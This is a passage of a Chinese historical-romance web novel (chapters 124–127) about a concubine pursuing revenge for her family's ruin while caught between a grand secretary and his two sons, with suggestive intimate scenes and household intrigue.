徐可心抬眼,手指微微蜷缩,良久后,才轻声道,“我也不知晓他生了癔病。” 除了癔病,她想不明白为何这人会突然变成这副模样。 林昭明心中满是怒气,又舍不得骂她,只看向跪在地上的长兄,毫不留情道,“你还真是恬不知耻!” “林怀瑾,过去我怎么不知晓你有这手段?和城墙根的狐媚子有何两样?” 林怀瑾紧抱着身前女人的腿,好似未听见身后二弟的斥责 声一般,只埋首在她腿间,整个人抱着她不松手。 眼见他如此不要脸,徐可心也不推开他,林昭明气急,大步上前,俯身抱住女人的上半身,攥着她的肩膀,只将她桎梏在自己怀里,下巴抵着她的头顶,咬牙委屈道,“你就是偏心,拿话哄着我,又把喜欢给旁人。” “你个负心女……” 徐可心被两人紧紧抱在怀里,动弹不得,林昭明枕着她的头顶,控诉不停,林怀瑾趴在她腿上,也话语不停地讲着自己的喜欢。 被束缚身体的人是她,偏偏两人都委屈可怜得不行,让她只能干坐在原地,听着两人的絮语。 她只有一颗心,但眼下只能分成两半用,不然冷落了其中一人,另外一人就有撞墙的意图。 他们兄弟二人只将整个身子倚在她身上,压得她险些喘不过气。 “放手。”她胸口实在闷得慌,眼见他们二人平复些许,先是拍了下林怀瑾的肩膀,复又推了下林昭明的胸膛。 “他都未放手,我凭什么要放手?你先让他放手。”林昭明紧揽她的肩膀,话语不满。 徐可心闻言,只能看向林怀瑾,“大少爷,妾身已知晓你的心意,你先站起身,我们坐下讲话。” 不然他跪在地上,被人瞧见了算什么样子。 林怀瑾攥着她的手,好似看出她的为难,这次未再纠缠不放,轻吻她的手腕后,终于站起身。 徐可心复又看向林昭明,“你先放开我,你一直抱着我,压得我胸口很疼。” 见林怀瑾松手,林昭明也终于不情愿地放手,却未坐下,仍站在她身后,警惕地看着林怀瑾,好似怕他再次纠缠上来一般。 徐可心微微叹了口气,终于寻得机会同他们二人好好讲话。 “父亲意图休母亲为妻,没了林家依仗,如今朝廷众臣皆落井下石,只将沈家人告到陛下面前。” “沈家众人自顾不暇,也失了分寸,怀瑾前去探查一番后,从他们口中知晓……” 林怀瑾话音一顿,缓声道,“当年沈家也参与了徐家一事,而联合李家里应外合背叛徐家之人,正是当朝刑部尚书吴大人吴凌云。” 话音一落,徐可心和林昭明霎时看向彼此。 “那个老东西果然居心叵测。”他冷笑道。 “那日想必听了风声,才前来见你,将此事推到父亲身上,离间你们二人。” 林怀瑾有欺骗之嫌,徐可心未完全相信他的话,面色怀疑不减,“大少爷,若妾身未记错的话,沈家是夫人的娘家,亦是你和昭明的外祖家,你只将沈家告到我面前,不怕事后殃及到沈家?” 他过去时常在女人面前说假话,话语真真假假,虚虚实实,那时女人格外相信他的话,被骗过数次后,如今等他真得说了真话,反倒失了女人的信任。 林怀瑾垂着眉眼,只屈着膝盖,复又跪在地上,抬手指天,声音轻缓,逐字逐句道,“怀瑾对天发誓,今日同姨娘所言无半句假话,若出言欺骗姨娘,怀瑾不日暴毙而亡。” 对天发誓本就是性情之举,不似这人一贯谨慎的作风,更何况是毒誓。 徐可心攥着扶手的手不自觉微微用力,直直看着跪在她面前的男人,良久未语一言。 好似看出她心上的摇摆,站在她身后的男人俯下身,双臂撑在她身侧的扶手上,贴着她耳侧低声道,“我等下派人去探虚实,只得了消息,就派人告知你。” 徐可心闻言,微微颔首。 他们兄弟于她而言,皆为毒蛇,但她清楚知晓,林昭明不会伤害她,对林昭明知根知底,对于林怀瑾,她却不得不谨慎,以防这人反咬她。 三姨娘说吴尚书和李三曾谈论过她,她其实已经信了三分林怀瑾的话,但未得到确凿的证据,她只能存疑,不能贸然行事。 只过了数日,林昭明那边就得了消息。 刑部尚书吴大人……倒真是一个劲敌。 他们兄弟二人接连找上门,说吴大人如今位高权重,理应谋划一番。 连素来行事急躁的林昭明,都说应再等一段时日,寻得一个良机,才好下手。 可她已然等不及了。 他们兄弟二人不及吴大人,难以敌对,可有一人却位于吴大人之上。 既然三姨娘说,他们恐她同大人吹枕边风,她只做一回妖妾又如何。 女人抚着琴弦,缓慢勾动,琴声缠绵,却暗含诡谲。 事关朝廷重臣,不知晓那人这次又是否会迁就她…… 第124章 秋月半圆,独缺一角。 男人白日在宫中处理政务,临到年底,朝廷内外一堆事积压在他身上,令他难以分神。 只一回府,下人就迎上来,说姨娘惦念他,唤他过去。 方入夜,屋内烛火却不似往日明亮,只透着几点昏黄浊光,朦胧缥缈。 平日里女人等他时,喜欢坐在桌案前摆弄杯盏,若夜色深些,她则会斜倚在软榻上,枕着手臂小憩。 依赖他时,不舍得入寝,执拗地等他前来,同他置气时,却早早爬上床,单留给他一个背影,饶是听到开门声,也装作熟睡的模样。 爱妻尚且年少,喜形于色,惹不得,骂不得,必须把人放在心上,时刻留意,百般疼爱。 今日待他推门入内,女人却未同平日里那般扑进他怀中,林远舟反手阖上门,无声看着不远处的红纱帐,缓步上前。 女人往日喜欢素净,屋内陈设也着重清雅别致,鲜少寻艳红春色。 可平日里的青纱帐,今日却成了红纱帐。 男人站在床前,抬手撩开红纱,红纱翕动摩挲,缠着他的手,缓缓掀开,床内的旖旎春光也随之展露,手臂一顿,林远舟半阖眉眼,眼底情绪意味不明。 女人身子赤裸,单穿了一件纱衣,□□袒露大半,两条玉白长腿隐在透薄的红纱之下,春光乍泄。 她只勾着腿,枕着手臂,好似吸人精魄的狐狸,眨着那双好似不谙世事的眸子,直直看着他,轻声唤了一声大人。 见他只是看着,未做任何反应,徐可心抬手扯住男人的衣袖,攥着他的衣服坐起身,素白双臂环着他的脖颈,主动投怀送抱,依偎在他怀中不解道,“大人为何不讲话?” 她枕着男人的颈间,贴着他耳侧轻声低语,“大人不喜妾身的衣着吗?若大人不喜,妾身褪下就是了。” 她靠在男人怀里,不断在他耳边低语,同他讲着私房情话,一遍又一遍地问男人,可喜欢她今日穿的衣裳。 刚入府时,她为了讨好男人,穿过几次薄纱衣,想在床上将男人伺候好了,以求今后在府上的日子变得好过些许。 既将初夜给了男人,她也只认此人是她的郎君。 之后相处得久了,想要的也愈来愈多,既想要男人时常前来见她,又想要男人喜欢她,只把心事说尽,把情事做尽。 男人扶着床前红纱,无声看了她良久,才揽着她的腰,将人抱在腿上。 “可心姿容甚美,着此红衣,好似高唐神女。”男人抚着她的腰侧,只低头吻上她的唇角。 她这 身衣裳,说到底委实艳俗,她今夜穿此衣,也是为了讨好男人。 她另有所图,言行皆风流,偏偏男人眼底未生情欲,徒留喜欢,抱她吻她时,也格外珍视怜惜,无放纵轻佻之意。 徐可心本来准备了满腹的甜言蜜语,只被男人抱着吻着,心口就莫名酸胀,泄气地靠在他怀里,面上的媚态尽数褪去,只抱着男人的腰背,含糊地唤了一声大人。 “可心因何失落?” 男人抚着她的侧脸,好似未看透她的心思一般,仍顺着她的伎俩,在她头顶轻声问询。 徐可心趴在他怀里,环着他结实的胸膛,见男人如此配合她,她反倒不知晓如何再讲下去了。 她想得很肤浅,想着今夜把大人伺候好了,情深意浓时,再顺势同他吹枕边风。 可她眼下才发现,不知何时开始,他们二人之间不单单只有情欲,更多的是在意和喜欢。 男人方才夸赞她的话,也未透着多少爱欲,反而纵容居多,好似无论今夜她如何装扮,男人都会说她姿容甚美。 徐可心跨坐在男人腿上,不理会男人哄她的话,只埋首在他怀里不愿抬头,看似抗拒,可手臂却紧紧抱着他,身心一齐都别扭极了。 林远舟托着怀中人的身子,也不明白,为何他分明说了赞美的话,但情人仍不满意。 情人不愿抬头看他,他便揽着她的身子,耐心在她耳边轻哄,声音又低又缓,好似生怕言语冷漠严厉,不小心伤到她似的。 温热的呼吸落在耳侧,缓慢折磨她的思绪,只一字一句磨掉她的所有防备,徐可心终于先败下阵来,狼狈抬头,直直看着身前人。 她总想着,总应付出代价,才会得到自己想要的,心中放着一杆秤,不断衡量每件事的因果,值不值得,应不应答谢,难以轻易将心事袒露,小心谨慎地防备身边所有人。 可在这人面前,她好似无须付出什么,非要做什么,才能讨得他的怜惜,她甚至不必开口,男人就会主动为她考虑。 有时是错的,有时是对的,有时顾及她的感受,有时将她蒙在鼓里,可无论好与坏,都是真真切切为了她考虑,而非想要从她身上得到什么。 男人待她愈好,她的心也愈发酸胀,难言的勇气也在心中生起。 “大人,妾身有一事想求大人做主。”她只坐在男人怀里,轻声恳求道。 分明刚才讨好男人时,她尚且能做到游刃有余,可等到将心事袒露时,她又不自觉变得委屈,眼底也不自觉蒙了一层水雾。 徐家的事压在她心里,她无人诉说自己这些年的难堪和苦楚,只在彻底推倒心墙的一瞬间,一行清泪就倏地从眼尾滑下。 泪水还未等滴落,就被温热的指腹抚去。 心墙彻底坍塌,她不受控地揽住男人的脖颈,趴在他怀里哭了起来。 “大人,母亲悬于梁上,妾身只能站在一旁看着母亲的尸体,妾身抱着母亲,甚至难以将她从房梁上抱下来,除了守着她的尸体,妾身做不了任何事。” “妾身恨透了梁党,恨他们毁了徐家,让妾身失了双亲,成为罪人,沦落成官妓。” “妾身三年来难忘此仇,梁党不死,妾身也难以安眠。” 她只弯下腰,紧攥着男人的衣摆,咬牙道,“大人有所不知,李家被抄家后,刑部尚书前来寻妾身,说他是父亲的门生,念父亲生前恩情,想要帮妾身报仇。” “妾身本以为他怀揣真心,真得想要帮妾身,可他之后却说,设局之人不是旁人,而是大人。” 男人揽着她的腰,见她哭,本在安抚地抚着她的腰侧,直到听了她的尾句,搭在她腰间的手也停了下来。 男人抬眼,眼底情绪意味不明,却非对她,而是好似在思索什么。 只是片刻,又回神,看向怀里仍泪水不止的女人,抬手抚上她的眼尾,缓声道,“他当真同可心这般讲?” 徐可心面色紧绷,眼底恨意毕露无疑,只扯着他的手,贴上她的心口,委屈道,“自然是真的,大人可知晓,妾身在听完他的话,只觉五脏六腑都疼得厉害,浑浑噩噩数日,也难以清醒。” 林远舟看着怀中人委屈至极的面色,霎时明白,为何李家查封后,这人却未查下去,反而意图离京,原是顾及他…… 若是旁人,他倒会以为,对方畏惧他的权势,不敢再追查下去,可这人不是旁人,而是他的情人。 想必吴凌云见她那日,她就饱受折磨,独自躲在房里哭了许久。 之后女人回府,对他极为抗拒,林远舟本以为,是因为逼她嫁人,又赶她离府,女人才会如此怨他,原来中间还有这一桩事。 林远舟抚着怀中人的腰侧,不轻不重按揉,听着耳边的抱怨和控诉,林远舟低头吻上她的额头,轻声道,“莫要再哭了,不然明日醒来,喉咙便哑了。” 只把埋在心里的话同男人讲出来的瞬间,徐可心就觉身子骤然一松,只靠在男人怀里,不管不顾地彻底大哭起来。 她心里委屈,听到男人的话,她也不知晓从哪里鼓起几分勇气,不满地哽咽道,“妾身心上难受,大人不安慰妾身,还不准妾身哭,大人未免也太不近人情了。” 旁人说他林远舟不近人情也就算了,他的确未对别人付出多少心意,可他的情人这般讲,的确是在无理取闹了。 “性子愈发娇纵了。”他说。 话语斥责,好似在责怪她任性无理,但语气属实没有半分冷硬之意,甚至称得上温和。 林远舟将人抱在怀里,又是为她擦拭眼泪,又是话语不停地哄着,但依旧无用,女人趴在他怀里,哭声不停,好似要将眼泪流尽一般。 “若可心看他不喜,为夫夺了他的官位就是,再命人查封吴家,收其家财,如此可心可还满意?” 徐可心本来哭声不停,闻言终于止住泪,眼底满是泪水看他,“大人说的可是真的?而非说谎话哄骗妾身?” “为夫一言九鼎,自然没有骗可心的道理。何况答应可心的事,为夫如何会反悔。”男人眸色平和,只温声允诺。 除了无奈之外,眼底再也没有旁的情绪。 “大人既然答应妾身了,就不得反悔。”她压着喉咙里的哭声,小声哽咽道。 “好,不反悔。”男人轻声附和。 徐可心提起的心还未彻底放下,就听男人不紧不慢道,“为夫既已答应可心,可心是否也应报答为夫一二。” 她心弦一紧,却见男人本来平静的眸色,不知何时被情欲浸染,分明方才她蓄意引诱时,男人未露出多少兴致,为何眼下又忽得想要了…… 徐可心双眸挣得浑圆,怔愣地看着他,还未等她彻底想明白,男人的手就探进她的衣衫,抚上她的心口,隔着皮肉缓慢按揉,好似在攥着她的心一般。 “事关朝廷重臣,为夫虽为当朝首辅,也多有不便,难以轻易办成此事,不过若可心今夜听话,想必为夫也会早日处理好此事。” 温热的唇贴着她耳侧,缓慢讲述,莫名透着几分诱哄的意味。 徐可心只觉好似一个陷阱被赤裸裸地挖在她面前,只等她下坠,然后将她彻底吞下。 心跳得厉害,她忽得觉察不对,有了想求饶的念头,可男人的手臂横在她腰间,只在她意图挣脱的瞬间,就将她牢牢桎梏在怀里,让她动弹不得。 男人啄吻她的眼皮,好似不解道,“夜色已深,可心要去何处?” 第125章 她歪着身子,斜斜倚着床,垂下的红纱落在她素白的肩头,轻飘飘地缠着她的手臂,好似赤练红蛇,顺着她身体的曲线,有一搭没一搭地摇晃摆动。 男人埋首在她怀中,揽着她的腰,从上到下,缓慢啄吻她的身子,临到最后衔住她的唇,既占据了她的身子,也侵占了她的心。 “除掉吴家后,可心也就此停手。” 徐可心背靠男人滚烫的身体,本头脑昏沉,格外不清醒,听到耳边男人的低语后,她迷离的眸子微怔,转过头,埋首在他颈侧,很轻地嗯了一声。 她已经知晓了,设局之人是林远山。吏部侍郎赵大人那日离开后,她也从林府下人口中知晓,男人有多照顾迁就他的堂弟。 她也有姊妹,自小就明白长姐如母的道理,男人身为兄长,自然也在乎他的堂弟。 早在一开始,她就明白,大人不会放任他的堂弟不管。男人眼下让她放下执念,也说明他想要维护林远山。 她能理解男人对林远山 的维护,但她不会真得放手,她的确喜欢男人,却不会为了他背叛徐家。 她不仅不能嫁给男人为妻,之后还会离京,彻底离开此地,毕竟无论事成与否,她都没有颜面再留在此人身边了。 “妾身知晓了。”她枕着男人颈侧,眉眼透着几分倦意,含糊回答。 一个很轻的吻落在她的眉心,男人揽着她的腰侧,只同平日里一般,细致地轻吻她的眼皮。 “可心,为夫如今只有你了,你要一直留在为夫身边。”男人话语温润,莫名透着几分虔诚的意味,好似在许下什么誓言,又好似敞开他的心,说出他的在意。 自从她回府后,每每事后温存时,男人都会说类似的话,让她长长久久地留在府中,陪在他身侧。 徐可心沉默半晌,不舍得让男人失落,于是她又一次说了谎,只揽着男人颈侧,趴在他耳边,复又嗯了一声。 他说事关朝廷重臣,多有不便,徐可心信了男人的话,以为还要布局良久,才能清算吴家,可只不到一月,就传来吴家被抄家的消息。 只在一日之内,刑部尚书就被剥夺官职贬为庶人,而吴家也在顷刻之间倒塌。 同她徐家一样,看似百年古树屹立不倒,实则被砍倒与否,都不过是上面的一道旨意。 玉帝说此树有化妖之兆,意图砍伐,它就不可能再继续生根。 而京中众人也好似早有谋划,做好了万全的准备,一直蛰伏在暗处,只等得了旨意,便倾巢而出,纷纷撕咬上前,蚕食吴家,意图分一杯羹。 男人口中所谓的难办,也好似只是哄她的话。 “姨娘,吴大人如今身陷囹圄,怀瑾已命人打点一二,不会让其在牢中安生度日,只令他求生不得求死不能。” 厢房内暗香浮动,男人身着官服,弯着腰手持杯盏,主动为身侧之人倒茶,女人坐在软榻上,单手撑头,斜斜倚着桌案,姿态随意,无半分恭谨之色。 男人的长指托着杯盏下端,眉眼柔和,面色如玉,要是不知晓他的为人,还真被他眼下这副恭敬的模样骗了过去,以为他是什么温润有礼的良家公子。 徐可心无声看了他半晌,不敢饮下他过手的茶水,只转过头,用手背虚虚抵着杯壁,推开他手中的茶,“公子上门拜访,只坐下讲话,不必如此多礼。” 像个下人一样,站在她脚边,一副要伺候她的模样,不知道的还以为这人是她豢养的男宠,对她百般依赖,等待她的宠幸。 “怀瑾心悦姨娘,只想时刻陪在姨娘身侧,为姨娘端茶倒水是怀瑾之幸。” 林怀瑾这番话明摆着说,就想伺候她,就想站在她身侧,寸步不离地跟着她,同痴汉没什么两样。 她分明记得,回府时,男人还不是这副模样,这段时日不知怎么了,这人又是对她发毒誓,又是跑来她院中同她讲话。 有人在时,他就像根木头一样站在那里,一直盯着她看,无人在时,他就快步上前,主动接下端茶倒水的活计,只一寻到机会,就话语不停地同她说着心里的喜欢。 甭说礼节,眼下连纲常伦理都被他舍弃到一边了。 陛下开恩,令林昭明官复原职,他忙着手头上的政务,难以分神前来寻她,不然每每见到林怀瑾,他都会吵闹一番,一会儿斥责她是负心女,一会儿大骂林怀瑾恬不知耻,赶他离开。 分明在过去,林怀瑾忙于政务,林昭明围着她转,但眼下却调了过来,林昭明分身乏术,而林怀瑾却好似无公务在身一般,时常前来寻她。 她一开始赶林怀瑾走,令其离开,可林怀瑾好似知晓他不受待见,每每前来,都会主动告知她京中之事,无一例外有关梁党。 今日说寻到这人的罪证,明日说可将此人上奏朝廷,拉此人下马。 一来二去,见林怀瑾的确有心在帮她,徐可心便准他留下品茶,闲谈片刻。 眼见男人仍端着茶杯,直挺挺站在她脚边,一副她不接过茶水,就站在那里不动的架势,徐可心几不可察叹了口气,终于伸手,接过杯盏。 手指触碰杯壁的瞬间,男人搭在边沿的手指挪动几寸,先勾住她的手指。 林怀瑾一直端着茶杯,指腹早就极为温热,甚至可以称得上滚烫,碰到她的手指的瞬间,徐可心身子一僵,好似被火烧到一半,倏地抽回手。 “大少爷,你这是何意?” 林怀瑾端着茶杯,垂着眉眼盯着他的手指,好似回味一般,微微摩挲数下,闻言他手指一顿,半阖眉眼,温声道,“怀瑾无妻无妾,过去不曾同人交合,自从那日同姨娘欢好后,怀瑾便彻底忘不下姨娘,做梦都想求姨娘再疼怀瑾一次。” “刚刚所举,实属情难自禁。” 他态度平和,不紧不慢缓声讲述,不知道的还以为他在同人讲学。 可他的话分明极为露骨,徐可心闻言,面色霎时难看几分。 她紧抿着唇,见男人白日宣淫,公然在她面前诉说情欲,方要出言赶他离开,男人却好似看出她的意图,先温声道,“姨娘可还记得,怀瑾那日说,我同昭明的生父另有其人?” 话语停在喉咙里,徐可心霎时被他的话牵引思绪,迟疑道,“此事究竟是真是假?” 林怀瑾不紧不慢放下茶杯,眼见女人全神贯注地看着他,他缓步上前,挨着女人搭在软榻边沿的小腿,坐在她身侧,语气没有起伏道,“此事为真,我们二人并非父亲的亲生儿子。” “姨娘可知晓,我们二人的生父是何人?” 他垂着眉眼,无声注视着女人被罗袜包裹的脚,目光落在裤沿露出的一小截素白脚腕上,眸色深了些许。 徐可心专注他口中的话,下意识坐起身,也未留意他坐下的举动,只追问他是何人。 林怀瑾隐在袖中的手指微微摩挲,头也不抬道,“不是旁人,正是我父亲的堂弟,林远山。” 林怀瑾一直盯着女人的脚腕,身旁忽得没了声音,他抬眸看去,却见女人怔愣地看着他。 “你说……谁是你们的生父?” 林怀瑾双眼微眯,霎时察觉到异样,“姨娘为何如此诧异?” 徐可心紧抿着唇,不仅未追问虚实与否,反而看他的目光也不自觉浮现几分警惕。 若他们二人真得 是林远山的儿子,那她之后,又如何再让他们二人帮她…… 他们兄弟二人均格外在意他们林家人,倘若知晓林远山是他们的生父,别说帮她,说不定还会阻拦她。 林昭明也就罢了,事事以她为先,哪怕不帮她,也不会背叛她,可眼前这人就说不准了…… 徐可心不自觉喉咙紧绷,四肢僵硬,直直看着面前的男人,对上男人审视的目光,她的心也不自觉漏停一瞬。 第126章 意识到林怀瑾今后有可能背叛她,徐可心看男人的目光也变得愈发晦涩。 她看了一眼男人垂在身侧的手,恍然发觉不知何时两人挨得极为近,她抚着桌案慌乱后退,脚踩在软榻上,目光也愈发警惕。 林怀瑾彻底发觉她的异样,眼见女人不断后退,他下意识用力攥住她的小腿。 长指隔着衣裙,直接陷进柔软的腿肚里,手上触感细软,林怀瑾手指一顿,难言的燥热霎时在腹部生起,僵硬地坐在原地。 那日的旖旎的景象不受控地再次在脑中浮现,情欲也随之燥起。 眼见女人眸中神色愈发惊恐,隐隐透着几分厌恶,林怀瑾竭力压制体内的躁动,尽量平复语气,“姨娘,怀瑾可说错了什么话,令姨娘如此厌恶?” 林怀瑾话语平静至极,攥着她腿肚的手却愈发用力,不给她后退的机会。 这人在意他母亲,也在意他林家人。林远山本就是他的二叔,如今又是他的生父,横竖怎么看,这人在知晓实情后,都不会再帮她。 徐可心无声看着他,良久未言。 她迟迟不开口,男人的面色也不自觉卑怯几分,俯下身子,不仅未退后,反而抱住她的双腿,仰视她,“姨娘,你是不是嫌弃怀瑾的出身,认为怀瑾脏。” “嗯?”徐可心身子一顿。 林怀瑾整个人隔着衣服伏在她腿上,紧攥她的腿肚,如同一只巨蟒缠绕她的身体,让她动弹不得。 他只垂下头,自顾自道,“怀瑾是母亲和旁人通奸所生的孩子,又对姨娘怀不轨之意,不单是身子,连心也肮脏至极。” “怀瑾自知过去做错了事,惹得姨娘不喜,可如今怀瑾真得心悦姨娘,不求娶姨娘为妻,只求时常陪在姨娘身侧。” 他姿态卑怯,言语可怜,眸中满是赤诚,若非抱着她双腿的手臂极为用力,徐可心真要信了他眼下装出来的憔悴模样。 “你先起身。”她说。 林怀瑾未听到他想听的话,不仅未松手,反而加重手臂上的力气,“那日知晓母亲和二叔通奸一事后,怀瑾就恨上了他们,除了姨娘这里,怀瑾再无旁的去处,还请姨娘收留怀瑾。” 他垂着眉眼,知道女人心软,只隐下眸中的恨意,万般可怜地同她诉苦。 “你当真……恨他们?” 迟疑的声音从身前传来,林怀瑾依赖地靠在她怀里,语气笃定,“千真万确。” 徐可心闻言沉默良久,抬手轻轻搭在他的肩膀上,“若我求怀瑾一事,怀瑾可会答应……” 女人平日里不是唤他长公子,就是唤他大少爷,态度极为冷淡,甚至可以称得上疏离,何时亲口唤过他的名讳。 分明旁人唤他怀瑾时,他未曾有过什么感触,可这两个字从女人口中说出来,就令他不自觉心跳加快。 “姨娘,只要你不赶怀瑾走,怀瑾全都依姨娘。” 林怀瑾坐起身,牵着她的手贴上自己的侧脸,偏头细细啄吻她的手腕。 什么都未做,光是吻她的手,眸色就愈发痴迷,生了情欲。 徐可心身子紧绷,强压下心间的不适,才未将手打在男人的脸上。 林怀瑾离开时,说会听她的话,拿走了她的一双罗袜作为索求的报答。 入了深秋,绣娘抱了几件成衣过来,让她挑选样式。 她穿着嫁衣站在铜镜前,透过镜子打量着身上的衣裳,绣娘站在一旁为她量体,在纸上记下她的胸阔腰围。 她未想过,有朝一日她竟真得还能嫁人,所嫁之人也并非市井之人,而是当朝首辅林大人。 她本要落入深潭之中,却又被人稳稳抱住。 徐可心想得入神时,绣娘退后一步,看向门外,还未等她转身,就被人抱在怀里。 男人抱着她的身子,埋首在她颈侧,攥住她垂在身侧的手。 “想要置办什么东西,当作嫁妆亦或聘礼,只去寻钱管家,令他准备。” 那日钱管家前来,已经给了她一本极为厚的礼单,不谈旁的,光首饰就列了数页。钱管家告诉她,到时会将东西送到她院中,任她处置。 “大人为妾身置办的聘礼已经足够多了。”她转过身,看向身后之人。 何况等她离府时,她不会带走任何东西,这些东西被送到她这里,也不过是换了一个地方摆放。 男人俯视她,闻言也未说什么,只抬手抚上她的鬓角,将垂在面前的长发勾在耳后。 徐可心站在原地,任由男人看她,忽得门外传来一阵脚步声,停在门前后,却未走进。 她越过男人,随意瞥了一眼男人的身后,却见林昭明站在门前,直直盯着她。 徐可心眸色一怔,还未来得及唤他,林昭明就跑走了。 “可心在看何处?”头顶传来问询。 徐可心回过神,再次看向男人,没有隐瞒,“方才昭明站在门外。” 眼下不见踪影,所以一句话未说,又跑走了。 林远舟揽她的腰,低头吻上她的唇,未再说旁的,徐可心扶着他的肩膀,阖上眼皮,微微踮着脚尖,回应他的吻。 她姿态依赖,男人的眸色却格外清醒,只透过她身后的铜镜,看向门外。方才他已经看到了来人,多问的一句,也不过是他的试探。 他的可心依旧很依赖他,温顺听话,只要他问,就不会对他有所隐瞒。 男人抱着她温存良久,还有政务在身,未久留在她房中。 待男人走后,徐可心才命下人过来,问他们可曾见到二少爷。 下人面色迟疑,伸手指向院子的一处角落。 徐可心走上前,在背阴的墙外,找到了方才跑走的人。 男人身着红衣,背靠院墙,长腿屈起蹲在地上,手上攥着一根狗尾巴草,在地上用力写着什么。 见她过来,林昭明只随意看了她一眼,复又低下头,收回目光。 徐可心缓步上前,却见地上刻着负心女三字,她无奈叹气,只俯着身子,屈膝蹲下。 “你方才为何要跑?” “他也在,我不离开,难道站在那里看你们两人恩爱?”男人头也不抬道。 徐可心闻言,也不知晓说什么,抬手扯住他的衣服,“外面风寒,同我进屋去。” “我不去,我就喜欢呆在外面。” “屋外冷。”她说。 “再冷也敌不过某人心冷。”林昭明随手扔下手中的狗尾草,看向她身上的嫁衣,“你当真要嫁给他?之后做我母亲?” 他的面色和话语尚且平静,未露出多少戾气。 徐可心沉默片刻,只模棱两可道,“我是你父亲的妾室,无论嫁人与否,他都是我的夫君。” “那我呢?你嫁给他,以后可还会同他和离?难道我真得要一辈子唤你母亲?待你们二人成婚后,你也真得只会把我视为小辈?” 林昭明一字一句道,直直盯着她的面色,不错过她面上一丝一毫的情绪。 “我们本是夫妻,但我如今只能眼睁睁看你嫁给我父亲,徐可心,你当真如此绝情,对我再无丁点喜欢?” 他分明未哭,语气也并似往日那般激烈,可不知为何,徐可心还是看出几分委屈。 她垂下眉眼,看着地上负心女的三个字,不愿再将林昭明扯进她的执念里,停在唇边的那句“我不会嫁给你父亲”,终究被她咽了回去。 话堵在喉咙里,压着她喉咙生疼,良久她才找回自己的声音,语气尽量平和道,“不论过往如何,已经走到这步了,也再无回头路。” “往后岁月漫长,说不准还有何种光景等在后面,你何必追着过往不放?” 她这一番话属实有些冷漠,真同林昭明所说那般,透着几分绝情。 徐可心自认为话说得足够直白,林昭明如今也已成人,没道理听不懂她的话,可对方听后,却未受挫半分,也未恼怒,仍直直盯着她看,目光直白,让她也愈发不自在。 “你若喜欢躲在这里,便躲着罢。” 她说完,就要起身离开,手臂却被一把攥住。 徐可心脚步一顿,转头俯视他。 她站着身子,明显比男人高了一大截,但男人目光灼热,却烫得她心跳加快,反倒令她的气势无形中矮了几分。 “你想嫁给他,我哪怕再不愿,也 不会纠缠你不放。” “但徐可心,我往后不会再娶妻,若哪日你回心转意了,我仍会娶你。” 徐可心沉默半晌,忍不住问,“若我永远不会回头呢?” “那我就等你一辈子。” 男人话语笃定,无半分轻浮之意,徐可心站在原地,闻言彻底没了声音。 良久后她才喃声道,“还真是傻。” 第127章 正院。 女人攥着手中的和离书,捡起桌案上的茶壶扔在地上,茶壶砸在地上,碎了一地,光砸茶壶不解气,她直直盯着供在桌案上的菩萨,毫不犹豫捡起,猛地摔在地上。 香炉被她的袖子拂落在地,里面堆积的香灰尽数散落,堆在地上,冒起的香灰浮在半空,模糊了透进来的日光。 林远山站在一旁,斜斜倚着朱红柱子,拂袖挡在面前,笑道,“他只同你和离,又未休你,拂了你的面子,你何苦动怒?恰巧我年过三十还未娶妻,若嫂嫂不弃,只嫁给我,继续做林夫人。” 沈玉清紧攥手中的和离书,心上怒火正愁无处发泄,直言道,“旁人都知晓我沈玉清是首辅大人的正妻,也知晓你游手好闲,不如你长兄。若我改嫁给你,别人定会嘲弄于我,你不嫌自己没本事,我可陪你丢不起这人。” 女人话语直白,仍同过去一样,只顾着自己的体面,丝毫不把他放在心上。 林远山面上笑意不变,“好,是我不好,没本事,官位太低不如长兄。” “可沈玉清,分明瞧不起我,知晓我是个烂人,还纠缠我不放,你到底是厌烦我,还是喜欢我?” 沈玉清面色凝滞一瞬,又很快恢复如常,倏地转身看他,却未回答他的话,而是质问道,“你那日分明说会处理那女人,可如今那女人却好好活着,你那日说的话都是假话不成?” 林远山背靠桌案,对上她斥责的目光,走上前,揽着她的后背将人抱在怀里,“大哥如今如此在意她,我怎能轻易下手。” “我不管,反正你必须杀了她,若你办不成此事,以后也不必前来寻我了。” 沈玉清甩开他的手,毫不犹豫转身。 林远山站在原地,轻啧一声。 后园。 林远山刚从正院出来,迎面撞见刚从听雨阁出来的男人。 林昭明冷冷看了他一眼,连声招呼都未打,就要离开。 “昭明要去何处?” 林远山挪了半步,挡在他身前。 “让开。”林昭明话语冷漠,明显不想和他过多交谈。 他不想多言,林远山却有话同他讲,只微微俯身,眼尾上挑,“听说你父亲要娶徐姨娘为妻,昭明,叔父回府后,听下人说了你们二人之间的事。” 他压低声音,神神秘秘道,“叔父并非墨守成规、死板教条之人,若你仍想要带她私奔离府,叔父可派人帮你。” 林远山并非听说,而是命人前前后后仔细留意着,不仅知晓他有意帮徐可心调查当年徐家一事,还知晓那夜他想要带徐可心私奔离府。 他本以为,林昭明为徐可心做到如此,想必仍惦念徐可心,可对方听了他的话,面上不仅未露出半分动容之色,反而愈发不耐。 “昭明尚且有公务在身,若二叔无事的话,昭明先告辞了。” 话落,竟是未多说一句,直接绕过他,大步向远处走去。 林远山站在原地,沉默半晌后,兀地笑了起来。 他分明只离开数年,府中人竟都转了性子,先不说他大哥为了徐家之女屡次破格,又是休妻,又是清算梁党,如今连素来冲动的幺子,都多了几分耐性,不受言语蛊惑。 好像只有他自己还停在原地,而一切早就物是人非。 林远山攥着袖子,捂着唇,低咳几声,他方要离开,转过身时目光掠过假山,身子一顿。 却见不远处,林怀瑾身着官服,眸色平静地望着他。 见他看了过来,林怀瑾不仅未离开,反而主动上前,“二叔方才所言,可是真的?” “若怀瑾意图带徐姨娘离京,二叔可会帮怀瑾?” 那日这人闯进后,林远山仍记得林怀瑾看他和沈玉清时憎恶的目光,分明痛恨他们二人通奸,眼下却意图带人私奔。 他们两兄弟果真是他的儿子,同他一样,不喜女色,只喜欢他们父亲的女人。 林远山不自觉轻叹一声,感慨他大哥太过好命,他们求之不得的女人,却都对他情深意切。 “我是你的生父,自然会帮你。”他笑说。 听到生父二字,林怀瑾面色明显难看几分,不过却未说什么,“此处人多眼杂,还请二叔同怀瑾到别院详谈。” 林远山笑了笑,只跟在他身后离开。 从临竹轩离开时,天色已入黄昏,林远山路过书院,站在院外看着灯火通明的书房,方要抬步走进,可还未走出一步,就忽得想起,如今青姝已经不在书房,而是由她娘亲自照看。 长子想要带青姝她娘亲私奔离府,依女人的性子,想必一定会带走青姝。 他们二人离府与否无关紧要,青姝却不能离开。 